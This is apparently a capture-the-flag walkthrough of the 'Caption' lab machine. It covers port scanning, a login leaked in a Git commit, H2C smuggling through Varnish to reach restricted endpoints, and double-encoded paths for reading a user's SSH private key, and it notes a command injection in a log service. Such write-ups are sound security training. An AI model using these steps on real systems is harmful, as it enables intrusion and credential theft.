An nmap scan identified SSH (22/tcp), HTTP (80/tcp) running HAProxy, and HTTP-proxy (8080/tcp) running Jetty.
❯ nmap -p- --min-rate 10000 10.10.11.33
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
❯ nmap -p 22,80,8080 -sC -sV 10.10.11.33
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)80/tcp open http-proxy HAProxy http proxy 2.0.0 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Did not follow redirect to http://caption.htb
8080/tcp open http Jetty
|_http-title: GitBucket
Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel
Update /etc/hosts:
❯ echo -e '10.10.11.33\tcaption.htb'| sudo tee -a /etc/hosts
Here is the webpage on port 80. It is a login portal.
Here is the webpage on port 8080. It is a GitBucket web application.
There are 2 repository. One is Caption Portal and the other is Logservice.
Within the Caption Portal, we can observe that there is an app folder and config folder with a README file.
Inside the config folder, there is a haproxy folder, service folder, and varnish folder.
One important information to remember here is that in /config/service/varnish.service config file, it states that HTTP2 is enabled.
The commit history of this repository also seemed really interesting.
There is a Update Acess Control commit which consists of credentials for margo!
margo:vFr&cS2#0!.
In this file, we can also observe that the /logs and /download endpoints are being restricted.
With the credentials found, we can now login to the web portal on port 80.
Interestingly, there is a Firewalls tab and at the bottom of the page, we notice that there is a note stating that Services are currently undergoing maintenance. Admins are actively addressing some issues with this feature..
This sounds like we will be exploiting some XSS vulnerability to obtain the admin cookies.
Inspecting the HTTP request to /firewalls endpoint shows something intriguing. It is calling a script with the source pointing towards some internal proxy. There is also an unusual X-Cache header in the HTTP response.
Analyzing the HTTP response headers when accessing the their web portal, it seems like the portal is using Varnish as a web cache service and the version is 6.6.
Despite having admin credentials, direct access to /logs and /download endpoints returned 403 Forbidden. The Varnish configuration indicated HTTP/2 support, enabling H2C smuggling attacks.
Smuggling Verification:
❯ git clone https://github.com/BishopFox/h2csmuggler
❯ cd h2csmuggler
❯ python3 h2csmuggler.py -x http://caption.htb --test
[INFO] h2c stream established successfully.
[INFO] Success! http://caption.htb can be used for tunneling
❯ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs
[INFO] h2c stream established successfully.
...
[INFO] Requesting - /logs
:status: 302...
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.
Nice! It works. Since we know that there is a user margo, we can try to get the SSH key. However, there was another trick here. It wasn’t the standard id_rsa key, it was the id_ecdsa. We can check the type of SSH key by grabbing the authorized_keys.
Remember, /home/margo/.ssh/authorized_keys double encode results in %252Fhome%252Fmargo%252F%252Essh%252Fauthorized%255Fkeys and /home/margo/.ssh/id_ecdsa double encode results in %252Fhome%252Fmargo%252F%252Essh%252Fid%255Fecdsa.
margo@caption:~$ netstat -tunlp
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name ...
tcp 00 127.0.0.1:8000 0.0.0.0:* LISTEN 1315/python3
tcp 00 127.0.0.1:3923 0.0.0.0:* LISTEN 1310/python3
tcp 00 127.0.0.1:9090 0.0.0.0:* LISTEN -
...
There is a service listening on port 9090. We look back to the LogService repo on GitBucket and find out that the server.go file is indeed listening on port 9090.
Vulnerability Analysis: The service extracts User-Agent strings from log files and passes them directly to exec.Command without sanitization, enabling command injection.